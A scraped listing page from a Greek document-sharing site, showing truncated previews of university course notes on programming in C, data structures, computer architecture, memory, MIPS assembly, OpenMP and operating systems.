ΕΣ 08 Επεξεργαστές Ψηφιακών Σηµάτων. Βιβλιογραφία Ενότητας ΕΣ 08 Επεξεργαστές Ψηφιακών Σηµάτων Βελτιστοποίηση κώδικα σε επεξεργαστές ΨΕΣ Τµήµα Επιστήµη και Τεχνολογίας Τηλεπικοινωνιών Πανεπιστήµιο Πελοποννήσου Βιβλιογραφία Ενότητας Kehtarnavaz [2005]: Chapter

Διαβάστε περισσότερα

Α' Εξάμηνο ΕΙΣΑΓΩΓΗ ΣΤΟ ΔΟΜΗΜΕΝΟ ΠΡΟΓΡΑΜΜΑΤΙΣΜΟ

Α' Εξάμηνο ΕΙΣΑΓΩΓΗ ΣΤΟ ΔΟΜΗΜΕΝΟ ΠΡΟΓΡΑΜΜΑΤΙΣΜΟ Α' Εξάμηνο ΕΙΣΑΓΩΓΗ ΣΤΟ ΔΟΜΗΜΕΝΟ ΠΡΟΓΡΑΜΜΑΤΙΣΜΟ Εργαστήριο 9η εβδομάδα. Κοζάνη, 2 Δεκεμβρίου 2008. Δίνονται παραδείγματα που αποσαφηνίζουν και συμπληρώνουν όσα αναφέρθηκαν στο μάθημα σχετικά με τις δομές

Διαβάστε περισσότερα

3 Αλληλεπίδραση Αντικειμένων

3 Αλληλεπίδραση Αντικειμένων Αφαίρεση και Αρθρωσιμότητα 3 Αλληλεπίδραση Αντικειμένων Πώς συνεργάζονται τα αντικείμενα που δημιουργούμε Αφαίρεση (abstraction) είναι η δυνατότητα να αγνοούμε τις λεπτομέρειες και να εστιάζουμε την προσοχή

Διαβάστε περισσότερα

ιεργασίες και νήµατα Προγραµµατισµός ΙΙΙ 1 lalis@inf.uth.gr

ιεργασίες και νήµατα Προγραµµατισµός ΙΙΙ 1 lalis@inf.uth.gr ιεργασίες και νήµατα Προγραµµατισµός ΙΙΙ 1 lalis@inf.uth.gr Η έννοια της διεργασίας ιεργασία (process) είναι ο µηχανισµός εκτέλεσης ενός προγράµµατος σε ένα λειτουργικό σύστηµα. Η διεργασία είναι µια ενεργή

Διαβάστε περισσότερα

ΕΙΣΑΓΩΓΗ ΣΤΟΥΣ ΥΠΟΛΟΓΙΣΤΕΣ. ΜΑΘΗΜΑ 4 ο ΟΡΓΑΝΩΣΗ ΤΗΣ ΜΝΗΜΗΣ ΠΕΡΙΦΕΡΕΙΑΚΗ ΜΝΗΜΗ

ΕΙΣΑΓΩΓΗ ΣΤΟΥΣ ΥΠΟΛΟΓΙΣΤΕΣ. ΜΑΘΗΜΑ 4 ο ΟΡΓΑΝΩΣΗ ΤΗΣ ΜΝΗΜΗΣ ΠΕΡΙΦΕΡΕΙΑΚΗ ΜΝΗΜΗ ΕΙΣΑΓΩΓΗ ΣΤΟΥΣ ΥΠΟΛΟΓΙΣΤΕΣ ΜΑΘΗΜΑ 4 ο ΟΡΓΑΝΩΣΗ ΤΗΣ ΜΝΗΜΗΣ ΠΕΡΙΦΕΡΕΙΑΚΗ ΜΝΗΜΗ ΧΕΙΜΩΝΑΣ 2009 ΕΙΣΑΓΩΓΗ ΣΤΟΥΣ ΥΠΟΛΟΓΙΣΤΕΣ 1 Γενική οργάνωση του υπολογιστή Ο καταχωρητής δεδομένων της μνήμης (memory data register

Διαβάστε περισσότερα

Δομές Δεδομένων. Δημήτρης Μιχαήλ. Κατακερματισμός. Τμήμα Πληροφορικής και Τηλεματικής Χαροκόπειο Πανεπιστήμιο

Δομές Δεδομένων. Δημήτρης Μιχαήλ. Κατακερματισμός. Τμήμα Πληροφορικής και Τηλεματικής Χαροκόπειο Πανεπιστήμιο Δομές Δεδομένων Κατακερματισμός Δημήτρης Μιχαήλ Τμήμα Πληροφορικής και Τηλεματικής Χαροκόπειο Πανεπιστήμιο Λεξικό Dictionary Ένα λεξικό (dictionary) είναι ένας αφηρημένος τύπος δεδομένων (ΑΤΔ) που διατηρεί

Διαβάστε περισσότερα

ΕΠΛ 003: ΕΙΣΑΓΩΓΗ ΣΤΗΝ ΕΠΙΣΤΗΜΗ ΤΗΣ ΠΛΗΡΟΦΟΡΙΚΗΣ

ΕΠΛ 003: ΕΙΣΑΓΩΓΗ ΣΤΗΝ ΕΠΙΣΤΗΜΗ ΤΗΣ ΠΛΗΡΟΦΟΡΙΚΗΣ ΕΠΛ 003: ΕΙΣΑΓΩΓΗ ΣΤΗΝ ΕΠΙΣΤΗΜΗ ΤΗΣ ΠΛΗΡΟΦΟΡΙΚΗΣ Δρ. Κόννης Γιώργος Πανεπιστήμιο Κύπρου - Τμήμα Πληροφορικής Προγραμματισμός Στόχοι 1 Να περιγράψουμε τις έννοιες του Υπολογιστικού Προβλήματος και του Προγράμματος/Αλγορίθμου

Διαβάστε περισσότερα

Διάλεξη 20: Χαμηλού Επιπέδου Προγραμματισμός II

Διάλεξη 20: Χαμηλού Επιπέδου Προγραμματισμός II Τμήμα Πληροφορικής Πανεπιστήμιο Κύπρου ΕΠΛ132 Αρχές Προγραμματισμού II Διάλεξη 20: Χαμηλού Επιπέδου Προγραμματισμός II (Κεφάλαια 25.2, KNK-2ED) Δημήτρης Ζεϊναλιπούρ http://www.cs.ucy.ac.cy/courses/epl132

Διαβάστε περισσότερα

Το ολοκληρωμένο κύκλωμα μιας ΚΜΕ. «Φέτα» ημιαγωγών (wafer) από τη διαδικασία παραγωγής ΚΜΕ

Το ολοκληρωμένο κύκλωμα μιας ΚΜΕ. «Φέτα» ημιαγωγών (wafer) από τη διαδικασία παραγωγής ΚΜΕ Το ολοκληρωμένο κύκλωμα μιας ΚΜΕ Η Κεντρική Μονάδα Επεξεργασίας (Central Processing Unit -CPU) ή απλούστερα επεξεργαστής αποτελεί το μέρος του υλικού που εκτελεί τις εντολές ενός προγράμματος υπολογιστή

Διαβάστε περισσότερα

Εργαστήριο 2ο. Περίγραμμα Εργαστηριακής Άσκησης

Εργαστήριο 2ο. Περίγραμμα Εργαστηριακής Άσκησης Γλώσσες Προγραμματισμού Εργαστήριο 2ο Τύποι Δεδομένων - Είσοδος / Έξοδος Εργαστήριο 2ο Περίγραμμα Εργαστηριακής Άσκησης Εργαστήριο 2ο...1 Θεωρία εργαστηρίου...2 Τύποι δεδομένων...2 Η συνάρτηση printf()...3

Διαβάστε περισσότερα

- Εισαγωγή - Επίπεδα μνήμης - Ολοκληρωμένα κυκλώματα μνήμης - Συσκευασίες μνήμης προσωπικών υπολογιστών

- Εισαγωγή - Επίπεδα μνήμης - Ολοκληρωμένα κυκλώματα μνήμης - Συσκευασίες μνήμης προσωπικών υπολογιστών Μάθημα 4.5 Η Μνήμη - Εισαγωγή - Επίπεδα μνήμης - Ολοκληρωμένα κυκλώματα μνήμης - Συσκευασίες μνήμης προσωπικών υπολογιστών Όταν ολοκληρώσεις το μάθημα αυτό θα μπορείς: Να αναφέρεις τα κυριότερα είδη μνήμης

Διαβάστε περισσότερα

ΜΥΥ- 402 Αρχιτεκτονική Υπολογιστών Φροντιστήριο: MIPS assembly

ΜΥΥ- 402 Αρχιτεκτονική Υπολογιστών Φροντιστήριο: MIPS assembly ΜΥΥ- 402 Αρχιτεκτονική Υπολογιστών Φροντιστήριο: MIPS assembly Αρης Ευθυμίου Το σημερινό μάθημα! Σύνταξη εντολών! Θέματα σχετικά με τη προσπέλαση, οργάνωση μνήμης διευθύνση για κάθε byte διευθύνσεις λέξεων

Διαβάστε περισσότερα

Διάλεξη 10: Δομές Δεδομένων Ι (Στοίβες & Ουρές)

Διάλεξη 10: Δομές Δεδομένων Ι (Στοίβες & Ουρές) Τμήμα Πληροφορικής Πανεπιστήμιο Κύπρου ΕΠΛ132 Αρχές Προγραμματισμού II Διάλεξη 10: Δομές Δεδομένων Ι (Στοίβες & Ουρές) Δημήτρης Ζεϊναλιπούρ http://www.cs.ucy.ac.cy/courses/epl132 10-1 Περιεχόμενο Διάλεξης

Διαβάστε περισσότερα

3. Σελιδοποίηση μνήμης 4. Τμηματοποίηση χώρου διευθύνσεων

3. Σελιδοποίηση μνήμης 4. Τμηματοποίηση χώρου διευθύνσεων ΑΡΧΙΤΕΚΤΟΝΙΚΗ ΥΠΟΛΟΓΙΣΤΩΝ MHXANIKOI Η/Υ ΚΑΙ ΠΛΗΡΟΦΟΡΙΚΗΣ ΕΠΙΠΕ Ο ΜΗΧΑΝΗΣ ΛΕΙΤΟΥΡΓΙΚΟΥ ΣΥΣΤΗΜΑΤΟΣ Γ. Τσιατούχας 6 ο Κεφάλαιο 1. Επίπεδο OSM 2. Εικονική μνήμη ιάρθρωση 3. Σελιδοποίηση μνήμης 4. Τμηματοποίηση

Διαβάστε περισσότερα

ΕΡΓΑΣΤΗΡΙΟ 6: Συναρτήσεις και Αναδρομή

ΕΡΓΑΣΤΗΡΙΟ 6: Συναρτήσεις και Αναδρομή ΕΡΓΑΣΤΗΡΙΟ 6: Συναρτήσεις και Αναδρομή Στο εργαστήριο αυτό θα μάθουμε για τη χρήση συναρτήσεων με σκοπό την κατασκευή αυτόνομων τμημάτων προγραμμάτων που υλοποιούν μία συγκεκριμένη διαδικασία, τα οποία

Διαβάστε περισσότερα

Ενσωματωμένα Συστήματα

Ενσωματωμένα Συστήματα Ενσωματωμένα Συστήματα Ενότητα: ΕΡΓΑΣΤΗΡΙΑΚΗ ΑΣΚΗΣΗ ARDUINO Δρ. Μηνάς Δασυγένης mdasyg@ieee.org Τμήμα Μηχανικών Πληροφορικής και Τηλεπικοινωνιών Εργαστήριο Ψηφιακών Συστημάτων και Αρχιτεκτονικής Υπολογιστών

Διαβάστε περισσότερα

Εισαγωγή στον Προγραμματισμό

Εισαγωγή στον Προγραμματισμό Εισαγωγή στον Προγραμματισμό Εισαγωγή Δημήτρης Μιχαήλ Τμήμα Πληροφορικής και Τηλεματικής Χαροκόπειο Πανεπιστήμιο Ακ. Έτος 2012-2013 Βιβλιογραφία "C Προγραμματισμός", Deitel & Deitel, Πέμπτη Έκδοση, Εκδόσεις

Διαβάστε περισσότερα

Παράλληλη Επεξεργασία

Παράλληλη Επεξεργασία Παράλληλη Επεξεργασία Φροντιστήριο: Εισαγωγή στο OpenMP Εργαστήριο Πληροφοριακών Συστημάτων Υψηλής Επίδοσης Parallel and Distributed Systems Group Τι είναι το OpenMP Πρότυπο Επέκταση στη C/C++ και τη Fortran

Διαβάστε περισσότερα

ΚΕΦΑΛΑΙΟ 2: Χειρισµός εδοµένων

ΚΕΦΑΛΑΙΟ 2: Χειρισµός εδοµένων ΚΕΦΑΛΑΙΟ 2: Χειρισµός εδοµένων 2.1 Αρχιτεκτονική Υπολογιστών 2.1 Αρχιτεκτονική Υπολογιστών 2.2 Γλώσσα Μηχανής 2.3 Εκτέλεση προγράµµατος 2.4 Αριθµητικές και λογικές εντολές 2.5 Επικοινωνία µε άλλες συσκευές

Διαβάστε περισσότερα

Εισαγωγή στην επανάληψη

Εισαγωγή στην επανάληψη Εισαγωγή στην επανάληψη Στο κεφάλαιο αυτό ήρθε η ώρα να μελετήσουμε την επανάληψη στον προγραμματισμό λίγο πιο διεξοδικά! Έχετε ήδη χρησιμοποιήσει, χωρίς πολλές επεξηγήσεις, σε προηγούμενα κεφάλαια τις

Διαβάστε περισσότερα

ΑΣΚΗΣΕΙΣ ΠΟΛΛΑΠΛΗΣ ΕΠΙΛΟΓΗΣ ΓΙΑ ΤΗ ΘΕΩΡΙΑ

ΑΣΚΗΣΕΙΣ ΠΟΛΛΑΠΛΗΣ ΕΠΙΛΟΓΗΣ ΓΙΑ ΤΗ ΘΕΩΡΙΑ ΑΣΚΗΣΕΙΣ ΠΟΛΛΑΠΛΗΣ ΕΠΙΛΟΓΗΣ ΓΙΑ ΤΗ ΘΕΩΡΙΑ Άσκηση 1 Ένας επεξεργαστής (ΚΜΕ) υποστηρίζει 371 εντολές. Πόσα bit θα πρέπει να είναι ο καταχωρητής εντολής (ελάχιστη τιμή); (α) 4 bit (β) 16 bit (γ) 1 bit (δ)

Διαβάστε περισσότερα

Εισαγωγή στον Προγραμματισμό

Εισαγωγή στον Προγραμματισμό Εισαγωγή στον Προγραμματισμό Έλεγχος Δημήτρης Μιχαήλ Τμήμα Πληροφορικής και Τηλεματικής Χαροκόπειο Πανεπιστήμιο Ακ. Έτος 2012-2013 Σχεσιακοί Τελεστές και Ισότητας Ένα πρόγραμμα εκτός από αριθμητικές πράξεις

Διαβάστε περισσότερα

Κεφάλαιο VΙ: Προσπέλαση Αρχείων. 5.1 Αρχεία δεδομένων.

Κεφάλαιο VΙ: Προσπέλαση Αρχείων. 5.1 Αρχεία δεδομένων. Κεφάλαιο VΙ: Προσπέλαση Αρχείων. 5.1 Αρχεία δεδομένων. Έως τώρα σε ένα πρόγραμμα έχουμε μάθει να εισάγουμε δεδομένα από το πληκτρολόγιο χρησιμοποιώντας την συνάρτηση scanf() και να εκτυπώνουμε δεδομένα

Διαβάστε περισσότερα

Διάλεξη 6: Δείκτες και Πίνακες

Διάλεξη 6: Δείκτες και Πίνακες Τμήμα Πληροφορικής Πανεπιστήμιο Κύπρου ΕΠΛ132 Αρχές Προγραμματισμού II Διάλεξη 6: Δείκτες και Πίνακες (Κεφάλαιο 12, KNK-2ED) Δημήτρης Ζεϊναλιπούρ http://www.cs.ucy.ac.cy/courses/epl132 6-1 Περιεχόμενο

Διαβάστε περισσότερα

Εισαγωγή στην επιστήμη των υπολογιστών

Εισαγωγή στην επιστήμη των υπολογιστών Εισαγωγή στην επιστήμη των υπολογιστών Υπολογιστές και Δεδομένα Κεφάλαιο 3ο Αναπαράσταση Αριθμών www.di.uoa.gr/~organosi 1 Δεκαδικό και Δυαδικό Δεκαδικό σύστημα 2 3 Δεκαδικό και Δυαδικό Δυαδικό Σύστημα

Διαβάστε περισσότερα

Εργαστήριο Λειτουργικών Συστημάτων. Minix Overview

Εργαστήριο Λειτουργικών Συστημάτων. Minix Overview Εργαστήριο Λειτουργικών Συστημάτων Minix Overview Σύνοψη 5ης ιάλεξης Λειτουργικό Σύστημα Minix Οργάνωση του Λειτουργικού Συστήματος Οργάνωση πηγαίου κώδικα Minix recompilation Σύνοψη Μαθήματος Σύνοψη Μαθήματος

Διαβάστε περισσότερα

Θέτοντας και επιστρέφοντας την τιµή της προτεραιότητας διεργασίας

Θέτοντας και επιστρέφοντας την τιµή της προτεραιότητας διεργασίας Θέτοντας και επιστρέφοντας την τιµή της προτεραιότητας διεργασίας Το επίπεδο προτεραιότητας µιας διεργασίας µπορεί να αλλάξει µε χρήση της συνάρτησης nice. Κάθε διεργασία διαθέτει µια τιµή που καλείται

Διαβάστε περισσότερα

Εισαγωγή στο GNU Octave/MATLAB

Εισαγωγή στο GNU Octave/MATLAB Εισαγωγή στο GNU Octave/MATLAB Δρ. Βασίλειος Δαλάκας Καλώς ήρθατε στο εργαστήριο Σημάτων και Συστημάτων με το λογισμικό Octave (Οκτάβα). Οι σημειώσεις αυτές έχουν βασιστεί στις σημειώσεις του εργαστηρίου

Διαβάστε περισσότερα

Εξοικείωση με το πρόγραμμα DEV C++ Επικοινωνία Χρήστη - Υπολογιστή

Εξοικείωση με το πρόγραμμα DEV C++ Επικοινωνία Χρήστη - Υπολογιστή Εξοικείωση με το πρόγραμμα DEV C++ Επικοινωνία Χρήστη - Υπολογιστή Δημιουργία Νέου αρχείου Από το μενού προγραμμάτων ανοίγετε το DEV C++ Επιλέγετε File-> New-> Source File (συντόμευση πληκτρολογίου Ctrl+N)

Διαβάστε περισσότερα

Δρ. Παναγιώτης Μ. Παπάζογλου Επίκουρος Καθηγητής ΤΕΙ Λαμίας. Διδακτικό βοήθημα γρήγορης μελέτης για τον προγραμματισμό του μικροεπεξεργαστή MIPS 32bit

Δρ. Παναγιώτης Μ. Παπάζογλου Επίκουρος Καθηγητής ΤΕΙ Λαμίας. Διδακτικό βοήθημα γρήγορης μελέτης για τον προγραμματισμό του μικροεπεξεργαστή MIPS 32bit Δρ. Παναγιώτης Μ. Παπάζογλου Επίκουρος Καθηγητής ΤΕΙ Λαμίας Διδακτικό βοήθημα γρήγορης μελέτης για τον προγραμματισμό του μικροεπεξεργαστή MIPS 32bit Το υλικό του οδηγού έχει αντικατασταθεί από το βιβλίο

Διαβάστε περισσότερα

2 Ορισμός Κλάσεων. Παράδειγμα: Μηχανή για Εισιτήρια. Δομή μιας Κλάσης. Ο Σκελετός της Κλάσης για τη Μηχανή. Ορισμός Πεδίων 4/3/2008

2 Ορισμός Κλάσεων. Παράδειγμα: Μηχανή για Εισιτήρια. Δομή μιας Κλάσης. Ο Σκελετός της Κλάσης για τη Μηχανή. Ορισμός Πεδίων 4/3/2008 Παράδειγμα: Μηχανή για Εισιτήρια 2 Ορισμός Κλάσεων Σύνταξη κλάσης: πεδία, κατασκευαστές, μέθοδοι Ένας αυτόματος εκδότης εισιτηρίων είναι μια μηχανή που δέχεται χρήματα και εκδίδει ένα εισιτήριο. Εκδίδει

Διαβάστε περισσότερα